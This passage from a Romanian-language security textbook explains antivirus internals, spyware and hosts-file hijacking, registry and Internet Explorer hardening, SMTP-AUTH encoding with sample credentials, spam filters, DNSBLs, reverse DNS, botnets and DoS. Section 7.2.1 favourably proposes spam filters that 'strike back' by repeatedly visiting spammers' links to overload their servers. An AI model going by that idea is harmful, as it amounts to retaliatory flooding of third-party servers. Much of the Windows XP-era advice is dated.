• codul de detectare al tipului fisierului (verifica numai daca fisierul primit este sau nu tipul pe care el il suporta; daca rezulta ca nu poate aplica algoritmul propriu in deschiderea fisierului, trimite sarcina unui alt modul)

• functia de scanare scanarii (interactioneaza cu interfata grafica a utilizatorului pentru a trimite date despre fisierul scanat si verdict)

• functia de dezinfectare (extragerea virusului din fisier sau stergerea completa a fisierului)

Uneori functia de dezinfectare implica actiunea asupra registrilor pentru a impiedica activarea codului malitios.

Scannerele de memorie pot fi incluse in aceasi categorie cu functia de curatare a registrilor. Majoritatea programelor antivirus acorda functiei de scanare a memoriei prioritatea numarul unu in procesul de scanare completa a sistemului.

Dezarhivarea constituie un modul complex. Arhivele de orice tip sunt detaliate recursiv fara ajutorul vreunui program extern specializat intr-o anumita extensie de compresie. Procedeul pentru deschiderea unui anumit tip de arhiva este gasit parcurgand o lista de metode si oprindu-se la cea care a obtinut ca rezultat fisiere integre. Toata procedura se realizeaza foarte rapid. Este necesara deasemenea realizarea procesului invers, compresia. Din moment ce intr-o arhiva este descoperit si inlaturat un fisier de tip virus, arhiva trebuie refacuta pentru a nu afecta functionarea programului sau contextului din care face parte.

Aspectele detectiei clasice a unui virus se bazeaza pe existenta unei mostre a acestuia in fisierele de semnaturi, in cazul scanarii pe baza de semnaturi sau a recunoasterii unui comportament specific virusului in cazul scanarii euristice. Metodele de monitorizare utilizeaza, la majoritatea programelor moderne de tip antivirus, procedee bazate pe sume de control cu polinoame CRC. Pe langa acestea, s-au introdus mai recent interpretoare pe baza de script si cod. Implementarea lor cu seturi complexe de instructiuni face posibila scrierea si compilarea unor rutine de detectie foarte eficiente.

Modulul de update al oricarui antivirus verifica semnatura digitala a datelor ce urmeaza a fi descarcate, ca o precautie la descarcarea de continut malitios. Performanta unui produs de securitate la capitolul actualizare consta in competenta acestuia de a modifica sau a integra noul cod executabil in versiunea anterioara a produsului. Desi este solutia ideala pentru a economisi timp si trafic in Internet, nu poate fi o solutie viabila mult timp, ajungandu-se deseori la descarcarea unei actualizari continand un intreg modul.

Cei mai multi antivirusi verifica disponibilitatea noilor actualizari la intervale cuprinse intre 24 de ore si o luna. Compania Symantec, renumita pentru produsele de securitate software elaborate, a dezvoltat un sistem de verificare in timp real a fisierelor suspecte, in baza de date on-line. Astfel, daca un fisier este suspect de virus si semnatura nu corespunde niciunei mostre din baza locala de semnaturi, programul se conecteaza si trimite semnalmentele la centrul de securitate Symantec de unde afla un verdict. Facilitatea este foarte utila in momentul in care sistemul a fost infectat cu un virus proaspat descoperit de catre compania de securitate si care nu apucat inca sa fie trimis utilizatorului sub forma de update, de obicei apartinand perioadei dintre doua actualizari succesive.

[pic]

Desi in prezent sunt integrate ca module in majoritatea programelor antivirus, softurile tip Anti Spyware si Anti Spam au deasemenea un rol indispensabil in securitatea calculatorului.

Termenul de Spyware defineste programele care colecteaza in secret informatii statistice despre utilizator, preferintele acestuia si genul de site-uri sau cuvinte cheie pe care utilizatorul le cauta. Scopul strangerii acestor date se concretizeaza in trimiterea de reclame sau link-uri direct in browserul calculatorului infectat sau prin intermediul spatiilor de reclama de pe interfetele programelor gratuite pe care utilizatorul le are instalate in calculator. Afisarea reclamelor este controlata de mici programe sau scripturi numite Adware si intra in categoria Spyware-ului.

Adware-ul este un program venit pe calea navigarii pe internet care instaleaza componente sau noi bare de unelte browserului pentru a face posibila afisarea de reclame nedorite. Unele metode constau in modificarea paginii de start a browserului astfel incat acesta acceseaza la pornire un motor de cautare ce directioneaza vizitatorul catre pagini dinainte stabilite si fara legatura cu termenii cautati. Deseori mecanismul care intretine raspandirea reclamelor poate introduce anomalii sau incompatibilitati in sistem cauzand si blocarea acestuia.

Anti spyware-ul efectueaza o scanare asemanatoare cu cea a antivirusilor, si vizeaza in special directoarele de fisiere temporare ale browserului de internet, fiindca acolo este principala sursa a raspandirii in sistem a spyware-ului.

Inainte de scanare, este necesara inchiderea alicatiilor si ferestrelor browser-ului. Este recomandata si deconectarea de la internet a calculatorului. Producatorii solutiilor anti spam, recomanda o scanare in doua etape a sistemului. Prima scanare, care va detecta si elimina o mare parte din continutul malitios urmata de o restartare a sistemului si o a doua scanare ce sterge si urmele lasate de primele fisiere eliminate. Daca in urma unei a treia scanari inca sunt prezente fisiere spyware ce par a nu pot fi sterse, se recurge la parcurgerea urmatorilor pasi:

• Restartarea in Safe Mode (Mod Sigur). Acest mod de rulare a sistemului de operare restrange mult posibilitatile aplicatiilor de a accesa memoria si fisierele de sistem. Astfel, multe din programele malitioase nu pot initia procese deci devin inactive si pot fi sterse.

• Resetarea setarilor browserului dupa scanare. Multe dintre programele tip spyware reconfigureaza browserul la fiecare inchidere a acestuia pentru ca la urmatoarea pornire sa acceseze din nou paginile cu continut malitios si sa asigure prezenta acestuia in calculator. Resetarea se va face fara pornirea browserului, astfel: Click dreapta pe icon-ul Internet Explorer. Se alege din meniul de context Properties, apoi se face click pe tab-ul Programs. Acolo se alege optiunea Reset Web Settings, urmata de Apply si Ok.

• Verificarea fisierelor de HOST. Fisierele de host realizeaza o localizare alternativa a domeniilor web, in cazul in care acestea nu au bine definite numele de server. In Windows XP, fisierul cu host-uri poate fi gasit in C:\WINDOWS\SYSTEM32\DRIVERS\ETC denumit simplu ”hosts”, putand fi vizualizat si modificat cu orice editor de text. In acest fisier prima linie o ocupa atribuirea notiunii de localhost, adresei IP 127.0.0.1. In mod similar, o aplicatie adware poate asocia adreselor web des vizitate, ca o adresa ip a serverului unde este gazduita o cu totul alta pagina.In urma acestei modificari, la tastarea adresei , utlilizatorul va ajunge pe pagina injectata de programul adware.

6.3 Curatarea manuala registrului de Windows

Curatarea registrului de Windows este o operatie care necesita cunostinte avansate ale sistemului de operare, fiindca stergerea sau modificarea unei valori importante a registrului poate duce la probleme majore de functionare ale Windows-ului.

Curatarea se poate face fie manual, prin utilizarea editorului de registrii, fie, cel mai recomandat, printr-un program specializat in recunoasterea, stergerea sau setarea corecta a valorilor registrului.

Curatarea manuala se face prin intermediul utilitarului Registry Editor ce poate fi rulat prin comanda ”regedit” in caseta de Run a meniului Start. Este recomandata realizarea unei copii de siguranta a registrului inainte de a fi editat. In editorul de registrii se selecteaza File in bara de meniu, apoi Export si se salveaza copia sub numele dorit.

Eliminarea intrarilor cauzate spyware-ului se face prin cautarea acestora si recunoasterea lor in arborele registrului. Se recomanda o documentare asupra intrarii ce urmeaza a fo stearsa, pentru ca utilizatorul sa fie sigur ca ceea ce urmeaza a fi sters nu afecteaza sistemul. Motoarele de cautare ofera rezultate concludente la cautarea cuvintelor cheie din registrul de Windows deci folosirea lor in momente de incertitudine este intens incurajata.

De obicei curatarea manuala a registrilor este considerata o metoda de ultima solutie, nerecomandata indiferent de nivelul de cunostinte al utilizatorului.

Un alt element ce merita luat in seama in prevenirea infectarii calculatorului este setarea corecta a Serviciilor Windows. Aceste servicii care stau la baza functionarii sistemului de operare pot lasa deschise porti catre exterior, porti nefolosite de catre utilizator, rezultand intr-o expunere inutila a calculatorului la un numar mai mare de atacuri.

Configurarea acestor servicii reprezinta alegerea modului de pornire pentru fiecare serviciu in parte. Serviciile esentiale si utile au modul de intializare Automatic, in timp ce serviciile mai putin importante necesita modul Manual sau Disabled (Oprit). Lista serviciilor din a doua categorie (importanta mai mica in sistem) este prezentata mai jos, cu modul recomandat de setare, pentru 95% din sisteme.

[pic]

[pic]

6.4 Configurarea corecta a browserului web

Setarile esentiale in configurarea browserului sunt cele referitoare la nivelul de securitate impus aplicatiei. Acest nivel se stabileste in functie de permisiunile sau interdictiile browserului de a accesa a unui anumit tip de continut.

In cazul aplicatiei Internet Explorer, nivelul de securitate se poate stabili prin deplasarea unui cursor pe verticala, in Tab-ul Security al meniului Internet Options. In dreptul fiecarui tip de securitate, mai permisiv sau mai restrictiv sunt prezentate in mare consecintele alegerii optiunii respective. Recomandarile pentru a putea naviga atat prin site-uri recunoscute si certificate cat si prin pagini personale sau pagini cu continut interactiv, vizeaza nivelul Medium in cazul neutilizarii unui Firewall sau Medium-Low in cazul utilizarii unui program de securizare a traficului internet.

In cadrul rubricii Privacy este indicata pornirea functiei de blocare a ferestrelor pop-up, exceptii putand fi adaugate oricand pentru site-uri la care utilizatorul doreste sa poata vizualiza continutul acestor ferestre. In meniul butonului Advanced... din cadrul Privacy este recomandata acceptarea cookie-urilor de tip First-party (cookie-uri provenite numai de pe site-uri vizitate) si blocarea sau interogarea utilizatorului cu privire la cookie-urile provenite din terta-parte.

Certificatele de securitate accesibile din rubrica tab-ului Content sunt adaugate in timpul navigarii, utilizatorul fiind instiintat si consultat in privinta acceptarii sau respingerii acestora.

In interiorul rubricii Connections se pot seta parametrii de conectare la internet ai browserului, adresa de proxy si setari de Dial-Up. Utilizatorul care nu foloseste un server proxy pentru conectarea la internet, trebuie sa verifice ca nici un alt IP sa nu fie trecut in meniul Lan Settings, in dreptul zonei Proxy Settings. Unele aplicatii de tip spyware se folosesc de aceasta rubrica pentru a directiona uilizatorii prin servere de proxy pirat catre site-urile cu date malitioase.

In cadrul tab-ului Advanced, setarile importante sunt cele referitoare la securitate, in partea de jos a zonei de scroll. O configurare sigura permite bifarea optiunilor de mai jos:

[pic]

6.5 Bibliografie











Capitolul 7

Securitatea serverelor de mail : Autentificare SMTP, SPAM Filters, SPAM Databases, Reverse DNS

VLAD ANDREI

7.1 Autentificare SMTP

SMTP-AUTH este o extensie a protocolului SMTP(Simple Mail Transfer Protocol) ce include o etapa de autentificare prin care fiecare client se logheaza efectiv la serverul de mail. Serverele care suporta SMTP-AUTH pot fi configurate usor pentru a folosi aceasta extensie, asigurand astfel ca adevarata identitate a expeditorului este cunoscuta. SMTP-AUTH ofera un mecanism de control al accesului. Este folosit pentru a permite userilor sa trimita/primeasca mailuri pe cand userii neautorizati cum ar fi spammerii nu pot folosi serverul. Totusi nu se poate garanta autenticitatea expeditorului. De exemplu spoofing-ul( expeditorul se da drept altcineva) e posibil chiar si cu SMTP-AUTH.

Extensia SMTP-AUTH permite unui server de mail sa indice altuia ca expeditorul a fost deja autentificat. In general aceasta necesita ca serverul destinatar sa aiba incredere in serverul expeditor , astfel facand ca SMTP-AUTH sa fie rar folosit in Internet. Destinatarul unui mail nu poate sa-si dea seama daca expeditorul a fost autentificat, astfel folosirea SMTP-AUTH este doar o solutie partiala si nesigura in problema spam-ului.

Desi SMTP-AUTH reprezinta o imbunatatire a securitatii fata de SMTP simplu, poate introduce totusi un punct slab: daca userilor legitimi li se permite sa trimita/primeasca mail si un hacker fura contul unuia atunci acesta poate folosi serverul ca open mail relay. Astfel fiecare parola si user devin o vulnerabilitate a sistemului de securitate. Spammerii au atacat servere de mail cu SMTP-AUTH prin atacuri bruteforce folosind username si parole uzuale.

Sunt 2 tipuri de conversatii SMTP-AUTH cu serverul: PLAIN si LOGIN.

O conversatie PLAIN arata asa:

C: AUTH PLAIN

S: 334

C: AHdlbGRvbgB3M2xkMG4=

S: 235 2.0.0 OK Authenticated

A treia linie din conversatia de mai sus este o codare base64 a sirului "^@weldon^@w3ld0n", unde "^@" este un byte a carui biti sunt toti 0. In acest exemplu , userul este “weldon” si parola este “w3ld0n”.

O conversatie LOGIN arata asa:

C: AUTH LOGIN

S: 334 VXNlcm5hbWU6

C: d2VsZG9u

S: 334 UGFzc3dvcmQ6

C: dzNsZDBu

S: 235 2.0.0 OK Authenticated

Liniile 2-5 contin informatii codate base64. Aceeasi conversatie decodata arata asa :

C: AUTH LOGIN

S: 334 Username:

C: weldon

S: 334 Password:

C: w3ld0n

S: 235 2.0.0 OK Authenticated

7.2 Filtre Spam

7.2.1 Filtre care riposteaza

Filtrele Bayesiene isi pot imbunatati acuratetea daca sunt programate sa urmeze linkuri pentru a vedea ce se afla acolo. Urmarea linkurilor din mailuri ar avea si un efect secundar amuzant. Daca serviciile de filtrare a mailurilor ar face acest lucru la toate mailurile atunci serverele spammerilor ar fi serios afectate pentru ca nu ar face fata numarului mare de accesari. Aceasta tehnica ar putea fi atasata filtrului ca o optiune, care activata ar putea urmari linkurile din spam de N ori, unde N este setat de user.

Asa cum multi oameni au observat, problema cu sistemul curent de email este ca e prea pasiv. Face orice ii ceri. Pana acum toate sugestiile de imbunatatire impuneau noi seturi de protocoale. Acesta nu are nevoie de asa ceva. Daca aceste tipuri de filtre ar fi folosite la scara mare, atunci volumul mare de spam care pana acum a functionat in favoarea spammerului, acum va actiona impotriva lui, marindu-i costurile si scazandu-i vanzarile, ocupand toata latimea de banda si blocandu-i serverele.

Ar trebui totusi sa ne asiguram ca acest lucru se intampla doar mailurilor suspecte. De regula orice URL trimis la milioane de oameni e foarte probabil sa fie spam. Dar sunt si cazuri cand acest lucru nu e adevarat: URL-urile din josul mailurilor gen Yahoo Mail si Hotmail de exemplu.

Pentru a proteja aceste siteuri, metoda aceasta de ripostare trebuie combinata cu baze de date de siteuri cu spam. Doar siteurile din aceste baze de date ar fi afectate si ar intra in baza de date doar dupa ce au fost inspectate de oameni.

7.2.2 CRM114 ( nume intreg: “The CRM114 Discriminator” )

Este un program bazat pe o abordare statistica de a clasifica date si folosit in special pentru a filtra mailuri. In timp ce alte filtre folosesc filtrarea Bayesiana bazata pe frecventa anumitor cuvinte in mailuri, CRM114 obtine o rata mai mare de recunoastere prin legarea de sintagme de pana la 5 cuvinte maxim. Aceste sintagme sunt folosite pentru a crea un Camp Markov Aleator reprezentand textele primite. Cu aceasta recunoastere contextuala aditionala, e unul din cele mai precise filtre actuale. Autorul sustine ca are o rata de recunoastere de 99.87% in unele cazuri.

Ca exemplu de software ce recunoaste modele, CRM114 e si un exemplu de masina ce invata dupa un algoritm destul de simplu. La un nivel mai profund, CRM114 e deasemenea un limbaj de comparare a modelelor de siruri de caractere similar cu Grep si Perl. Desi poate fi folosit si in alte aplicatii, este specializat pe comparerea de texte astfel ca pana si definitia factorialului contine 10 linii de cod, facandu-l astfel greu de inteles petru cei neinitiati. Aceasta se datoreaza faptului ca sintaxa limbajului CRM114 nu este pozitionala, ci cu declinari.

7.2.3 DSPAM

Este un filtru spam statistic gratuit facut de Jonathan A. Zdziarski. A fost facut sa fie scalabil si pentru sisteme multi user mari. Filtru e compus dintr-o librarie ce contine rutinele de filtrare si stocare, o linie de comanda si interfetele web. DSPAM este independent de MTA ( Mail Transfer Agent ) , poate stoca clasificarea spamului in mai multe formate de baze de date si foloseste filtrarea bayesiana pentru a invata si a se adapta spamului. Autorul sustine ca useri obisnuiti au raportat o rata de recunoastere de la 99,5 la 99,95%, iar cel mai bun nivel de recunoastere inregistrat 99,991% de un singur user ( 2 erori din 22,786 ). Totusi la testari oficiale acesta a obtinut rate semnificativ mai mici.

7.2.4 POPFile

Este un filtru gratuit, open source scris in Perl ce foloseste un clasificator Bayes independent pentru a filtra mailurile. Acest lucru permite sa invete si sa clasifice in functie de preferintele userului. Poate fi folosit si pentru a sorta mail in categorii definite de user. Programul functioneaza in mai multe moduri. Modul cel mai folosit e cand se pune ca un proxy intre client si serverul POP3. In timp ce mailul este downloadat prin POP3, filtrul identifica si clasifica mailurile si face modificari in linia cu subiectul , in functie de categoriile specificate initial de user. Ca o alternativa la modificarea liniei cu subiectul, sistemul poate fi configurat si pentru folosirea unor headere.

Un alt mod posibil este folosirea ca un client IMAP ce monitorizeaza un server pentru mailuri primite dar si pentru mesaje trimise de user. Mailurile primite sunt filtrate si apoi imediat trimise in folderele specifice categoriei lor.

7.2.5 SpamAssassin

Este un program bazat pe comparare de siruri de caractere, checksum si filtrare statistica si se ajuta si de baze de date de spam.

SpamAssassin este privit ca unul din cele mai eficiente filtre mai ales cand este folosit in combinatie cu baze de date de spam. Daca pentru userul obisnuit compararea sirurilor de caractere pentru indentificarea spamului e suficienta, complexitatea implicata in combinarea compararii cuvintelor si simbolurilor cu sursele de spam depaseste posibilitatile userului obisnuit. De exemplu, spamul grafic nu contine text ce poate fi comparat si astfel ramane doar posibilitatea introducerii serverului in baze de date cu spam.

SpamAssassin vine cu un set mare de conditii care sunt aplicate pentru a determina daca un mail este spam sau nu. Pentru a decide, anumite campuri din headerul si corpul mailului sunt controlate pentru anumite expresii, si daca acestea sunt gasite atunci mailul primeste un anumit scor ( depinde de test ) si anumite headere sunt adaugate mailului. Scorul total rezultat din toate testele sau alte criterii poate fi atunci folosit de user sau ISP pentru a seta conditiile in care un mail este mutat in folderul spam, sters sau marcat.

Fiecare test are o eticheta si o descriere. Eticheta este de obicei cu majuscule separate prin underscore, de exemplu "LIMITED_TIME_ONLY", iar descrierea "Offers a limited time offer". Un mail care nu trece acest test ( contine variante de "limited time only" ) va primi un scor de +0.3. Cu un prag maxim de N, mailul ar trebui sa mai pice anumite teste pentru a fi clasificat ca spam. Dar sunt totusi anumite teste care trec direct mailul in categoria spam. Daca scorul este mai mic decat pragul stabilit, informatia despre testele trecute si scorul total este adaugata mailului si poate fi folosita pentru actiuni mai putin severe, de exemplu marcarea mailului ca suspicios.

Userul poate modifica aceste filtre; poate specifica anumite persoane sau institutii ale caror mailuri nu vor fi considerate niciodata spam sau poate schimba scorurile pentru anumite teste. Utilizatorul poate defini si o lista de limbi in care poate primi mail, SpamAssassin dand un scor mai mare in acest caz mailurilor ce par scrise in alta limba.

SpamAssassin foloseste filtrarea Bayesiana , dar aceasta e cea mai eficienta cand utilizatorul introduce el insusi datele. Astfel utilizatorul este asteptat sa dea exemple de mailuri spam si de mailuri bune pentru a invata diferenta dintre cele doua. Pentru aceasta SpamAssassin are o serie de comenzi care il fac sa “invete” un mail sau o intreaga cutie postala.

7.3 Baze de date Spam

DNSBL este o abreviere ce inseamna Domain Name System BlackList si e un mijloc prin care un site poate publica o lista de adrese IP care ar trebui evitate, lista ce se gaseste intr-un format ce poate fi folosit usor de programe din Internet. Majoritatea software- urilor MTA ( mail transfer agent ) pot fi configurate pentru a respinge sau marca mailuri primite de la siteuri care apar in listele mentionate mai sus.

7.3.1 Istoric

Prima DNSBL a fost Real-time Blackhole List (RBL) creata in 1997 ca parte a Mail Abuse Prevention System (MAPS). Initial RBL nu era DNSBL, ci mai degraba o lista de comenzi care puteau fi folosite pentru a programa routerele sa nu trimita mai departe pachete primite de la anumite adrese. Scopul RBL nu era numai sa blocheze spam-ul ci sa si educe ISP-urile si siteuri din Internet in legatura cu problemele generate de spam cum ar fi open SMTP relay, spamvertising, etc. Inainte ca o adresa sa fie listata in RBL, voluntari si angajati MAPS incercau in repetate randuri sa contacteze persoanele responsabile pentru acel site pentru a-si remedia problemele. Acest lucru era considerat foarte important inainte de a bloca traficul acelui site sau ISP, dar acest lucru insemna si amanarea introducerii in RBL deoarece discutiile puteau dura destul de mult.

Mai tarziu, RBL s-a modificat in forma DNSBL si producatorii de mail software au fost incurajati sa implementeze aceasta facilitate. Astfel programele de mail puteau sa interogheze RBL si sa respinga mailurile de la siteurile listate acolo. Dupa putin timp de la aparitia RBL si altii au inceput sa construiasca astfel de liste fiecare cu criteriile ei. Unul dintre primii a fost Alan Brown cu Open Relay Behavior-modification System (ORBS). Acesta folosea testarea automata pentru a descoperi si lista servere de mail ce functionau ca open mail relays, servere exploatabile cu usurinta de spammeri. ORBS a fost controversat in acea perioada pentru ca multi oameni considerau ca folosirea unui server open relay era un lucru acceptabil iar scanarea Internetului pentru astfel de servere era vazuta ca un abuz. In 2003 un numar de DNSBL-uri au fost atacate, cel mai important atat avand ca efect oprirea DNSBL-urilor firmei Osirusoft dupa saptamani intregi de atac continuu.

7.3.2 Mod de operare

Pentru a detine o DNSBL e nevoie de trei lucruri : un domeniu unde sa fie localizat, un nume pentru domeniu si o lista de adrese ce urmeaza a fi publicate. Un program eficient pentru DNSBL este BIND. Totusi acesta este ineficient pentru numere foarte mari de adrese. Un alt program RBLDNS, mult mai rapid , foloseste mai putina memorie si e mai usor de configurat. Partea cea mai grea in operarea unei DNSBL este popularea cu adrese. Pe langa acestea trebuie publicate si regulile dupa care o adresa este publicata.

7.3.4 Interogari DNSBL

Cand un client incearca sa se conecteze la un server mail si serverul doreste sa verifice clientul cu ajutorul unei DNSBL ( ex : dnsbl.) se intampla urmatoarele lucruri:

Se ia IP-ul clientului si se inverseaza octetii 192.168.42.23—>23.42.168.192.

Se adauga numele domeniului DNSBL: 23.42.168.192.dnsbl..

Se cauta acest nume in DNS. Se va intoarce ori o adresa daca clientul este in baza de date , ori “ NXDOMAIN “ ( “ No such domain “ ) daca clientul nu este in baza de date.

REGULI DNSBL

Regulile DNSBL sunt diferite pentru fiecare DNSBL si sunt impartite dupa 3 criterii:

1.Scop. Ce vrea DNSBL sa listeze ? E o lista de servere de mail open relay sau de proxy-uri sau o lista de adrese IP cunoscute penru trimiterea de spam sau poate adrese IP ale ISP-urilor care gazduiesc spammeri?

2.Nominalizare. Cum descopera DNSBL adresele care le listeaza ? Foloseste nominalizari trimise de utilizatori ?

3.Durata de viata a listelor. Cat dureaza o lista ? Expira automat sau sunt scoase manual ? Ce trebuie sa faca un operator pentru a nu mai fi listat ?

7.3.5 Critici

Utilizatorii carora le sunt blocate mailuri de servere ce folosesc DNSBL de multe ori vocifereaza, ajungandu-se pana la a cere oprirea acestui serviciu. Urmatoarele baze de date au starnit controverse: liste de IP-uri dinamice sau dial-up. Aceste liste include deseori si adrese ADSL “statice”, adica adrese end-user. Unele siteuri de mail nu accepta mesaje de la acest gen de adrese deoarece sunt de cele mai multe ori calculatoare personale infectate cu virusi de spam. Acest lucru poate dauna utilizatorilor de SOHO care doresc sa ruleze propriile servere de mail in conexiuni rezidentiale ISP sau MTA( mail transfer agent ) pe laptopuri de exemplu. In plus, e dificil sa scoti de pe lista o adresa IP care a fost listata din greseala. De exemplu, trebuie sa trimiti un mail la un DNSBL ca sa ceri sa fii scos de pe lista, iar mailul nu va ajunge deoarece adresa ta este blocata.

liste care includ pe cei care ajuta spammerii cum ar fi MAPS RBL. Un site care ajuta spammeri care nu trimite direct spam, dar ofera servicii comerciale acestora, cum ar fi hosting Web. Refuzul de a primi mail de la acest gen de siteuri este menit ca o boicotare pentru a incuraja aceste siteuri sa inceteze afacerile cu spammerii, chiar daca au de suferit si ceilalti utilizatori.

liste predictive ( “ early warning “) cea mai importanta fiind SPEWS. SPEWS listeaza adrese ce apartin siteurilor ce ar putea ajuta spammerii sub ipoteza ca aceste adrese sunt mai probabile sa trimita spam in viitor.

7.4 Reverse DNS

Cautarea Reverse DNS este un proces prin care se cauta hostname-ul sau host-ul asociate cu o adresa IP data. In mod normal DNS (Domain Name System) este folosit pentru a gasi ce adresa IP este asociata cu un nume de domeniu dat. Deci, cautarea inversa a unei adrese IP cunoscute inseamna a gasi hostul si domeniul ce apartin acelei adrese IP. O cautare inverse este deseori numita “reverse resolving” sau “reverse DNS lookup” si se face folosind o "reverse IN-ADDR entry" in forma unei inregistrari PTR ( asociaza o adresa IPv4 cu numele canonic al hostului respectiv ). Cautarile Reverse DNS pentru adrese IPv4 folosesc o "reverse IN-ADDR entry" in domeniul special in-addr.arpa. O adresa IPv4 este reprezentata in domeniul in-addr.arpa printr-o secventa de octeti scrisi in zecimal dar in ordine inversa, separati prin puncte cu sufixul “.in-addr.arpa” ( ex : 10.12.13.140 devine 140.13.12.10.in-addr.arpa ). Numele hostului pentru 1.2.3.4 poate fi obtinut printr-o interogare DNS pentru inregistrarea PTR pentru acea adresa speciala 4.3.2.1.in-addr.arpa.

Istoric, adresele IP erau alocate in blocuri de 256. Asta facea configuratia inregistrarilor PTR usoara din moment ce punctele delimitau fiecare bloc. Astazi, adresele IP sunt alocate in blocuri mult mai mici si astfel cautarea Reverse DNS traditionala nu mai functioneaza.

Cautarile Reverse DNS pentru adresele IPv6 folosesc domeniul special ip6.arpa. O adresa IPv6 este reprezentata ca un nume in domeniul ip6.arpa printr-o secventa de “nibbles” ( semioctet ) in ordine inversa reprezentata in hexazecimal si separate prin puncte cu sufixul “.ip6.arpa”. ( ex : 4321:0:1:2:3:4:567:89ab devine b.a.9.8.7.6.5.0.4.0.0.0.3.0.0.0.2.0.0.0.1.0.0.0.0.0.0.0.1.2.3.4.ip6.arpa. )

In timp ce majoritatea intrarilor RDNS au doar o inregistrare PTR, este perfect legal sa existe mai multe inregistrari PTR diferite. Desi este legal, mai multe inregistrari PTR pentru aceeasi adresa IP nu este recomandata decat daca e neaparat nevoie. De exemplu, daca un server web are mai multe hosturi virtuale , poate fi cate o integistrare PTR pentru fiecare host si unele versiuni de soft pentru name server vor adauga automat o inregistrare PTR pentru fiecare host. Mai multe inregistrari PTR pot provoca probleme printre care declansarea de buguri in programe care asteapta sa fie doar o inregistrare PTR si in cazul webserverelor mari, sute de inregistrari PTR pot face pachetele DNS sa fie mult mai mari decat in mod normal. Desi mult mai putin folosite in comparatie cu PTR, se pot folosi totusi si alte feluri de inregistrari in RDNS unele fiind chiar standardizate : Ipsec, SSH, IKE si altele nestandardizate : TXT si LOC.

Cele mai uzuale utilizari ale RDNS sunt:

utilizarea initiala a RDNS era pentru diagnosticari ale retelelor, cum ar fi traceroute, ping si headerul “ received: “ din SMTP, siteuri ce tin evidenta utilizatorilor ( in special forumuri )

o tehnica anti-spam este de a verifica numele domeniului in RDNS pentru a vedea daca sunt utilizatori dial-up, adrese alocate dinamic sau utilizatori broadband de acasa. Deoarece marea majoritate ( dar nu toata ) a emailului ce vine de la aceste computere e spam, multe servere de mail refuza mailul cu nume RDNS lipsa sau “generice”.

O verificare Forward Confirmed reverse DNS (FCrDNS) poate crea un fel de autentificare aratand o legatura valida intre proprietarul unui domeniu si proprietarul unui server care i-a fost data o adresa IP. Desi nu e 100% sigura aceasta validare e destul de puternica sa fie folosita pentru a fi folosita ca garantie, pentru ca majoritatea spammerilor nu pot trece de aceasta verificare cand folosesc calculatoare zombie pentru a falsifica domenii.

Capitolul 8

Calculatoare Zombie: Botnet, Atacuri DoS, Viermele MyDoom

IANCU ANDREI

8.1 Calculatoarele „Zombie” si retelele Botnet

Numite dupa fiintele mitice care nu mai au capacitatea de negatie si urmeaza exclusiv comenzile unui stapan rau-voitor, calculatoarele acestea sunt niste sisteme care au fost „deturnate” si care nu se mai afla sub controlul utilizatorilor lor. Controlul acestora a fost preluat prin metodele de „back-door” sau „server clandestin” enumerate in capitolul 1 de catre persoanele care le folosesc in propriu interes. Ele raman, fizic, in aceeasi locatie si sunt folosite in continuare de utilizatorii legali, dar, au si un „utilizator secret”, atacatorul, care poate emite atacuri asupra altor calculatoare sau isi poate ruta conexiunea de internet prin acestea, pentru a-si ascunde ip-ul. Faptele astfel comise vor fi vizibile ca venind nu dinspre atacator ci dinspre utilizatorul legitim al calculatorului zombificat, acesta din urma fiind tras la raspundere si nestiind nici macar ceea ce s-a facut.

Cum se transforma un calculator intr-un „Zombie” ? Primul pas este sa fie instalat pe el un program care sa permita controlul sau prin retea, in mod invizibil utilizatorului de drept.

Instalarea se poate face prin metode descrise in capitolul 1 al lucrarii, la paragraful „Servere Clandestine”.

Odata instalat acest „server clandestin”, el poate fi customizat in a rula un „bot”, program care accepta comenzi dintr-o retea numita „botnet”, si care poate fi accesata contra unei suma platita celui care a zombificat calculatorul. Botii permit controlul calculatorului zombie fara un anume program client, ei functioneaza primind comenzi pe retele de chat (gen IRC) sau print Telnet. Botnet-ul este, deci, reteaua calculatoarelor zombificate, care ruleaza boti ce accepta comenzi comune retelei. Un botnet ofera celui care ii obtine accesul puterea de calcul a unui numar mare de calculatoare, conexiunile lor insumata la internet, si, cel mai important, un numar mare de ip-uri publice (deci anonimitate). Puterea de calcul este cel mai putin folosit avantaj, este foarte putin probabil ca cineva sa cumpere acces la un botnet pentru a calcula cu ajutorul a zecilor de procesoare aflate in retea zecimalele numarului PI, dar, este mai mult ca sigur ca un botnet poate fi folosit pentru a lansa atacuri asupra unui server pentru a-l coplesi cu cereri si a-l face sa se blocheze sau pentru a trimite spam (mail-uri si mesaje de instant messenger nedorite), atacuri de zombificare asupra altor calculatoare, sau a lansa virusi si viermi tot cu acelasi scop de marire a retelei de boti.

8.2 Atacuri DoS

Aceste atacuri erau foarte comune in trecut, cand viteza de internet a serverelor era scazuta si puterea lor de calcul de asemenea. Un atac Denial of Service presupune privarea unui utilizator de un anumit serviciu util lui, in momentul cererii sale. Cea mai cunoscuta metoda de DoS este „picarea unui site”. Acest lucru se realizeaza prin trimiterea unui numar imens de cereri catre server-ul ce gazduieste site-ul respectiv, coplesind astfel aparatul cu cereri de servire a site-ului. Calculatorul este saturat si nu mai face fata cererilor „legitime”, nemaiputand asigura serviciul respectiv. Conditia de baza intr-un astfel de atac este sa fie depasita fie capacitatea de calcul a server-ului fie largimea benzii a conexiunii de internet. In Primul caz, de depasire a capacitatii de calcul s-a rarit simtitor pe motiv ca tehnologia a progresat exponential si puterea de calcul este azi ceva accesibil; deci serverele au deveni masini greu de blocat pe motive de solicitare. Al doilea caz este, de asemenea, in scadere, desi – paradoxal – s-au inmultit conexiunile broadband si a devenit mult mai usor sa lansezi atacuri DoS de pe calculatoare zombie, domestice, toate orientate asupra unui singur server. (acestea, insumate, au sanse bune de a avea o conexiune mult mai puternica decat a unui calculator victima). Explicatia acestui paradox si a scaderii atacurilor DoS consta in „maturizarea” hackerilor si orientarea lor catre ceva mai folositor si mai productiv decat blocarea unui server. Tendintele actuale ale atacurilor se orienteaza pe spamming si zombificare a calculatoarelor, lucru observat si de scaderea in numar a virusilor si a programelor malicioase vis-a-vis de cantitatea din ce in ce mai mare de cai-troieni si spyware-uri.

8.3 Metode moderne de atac

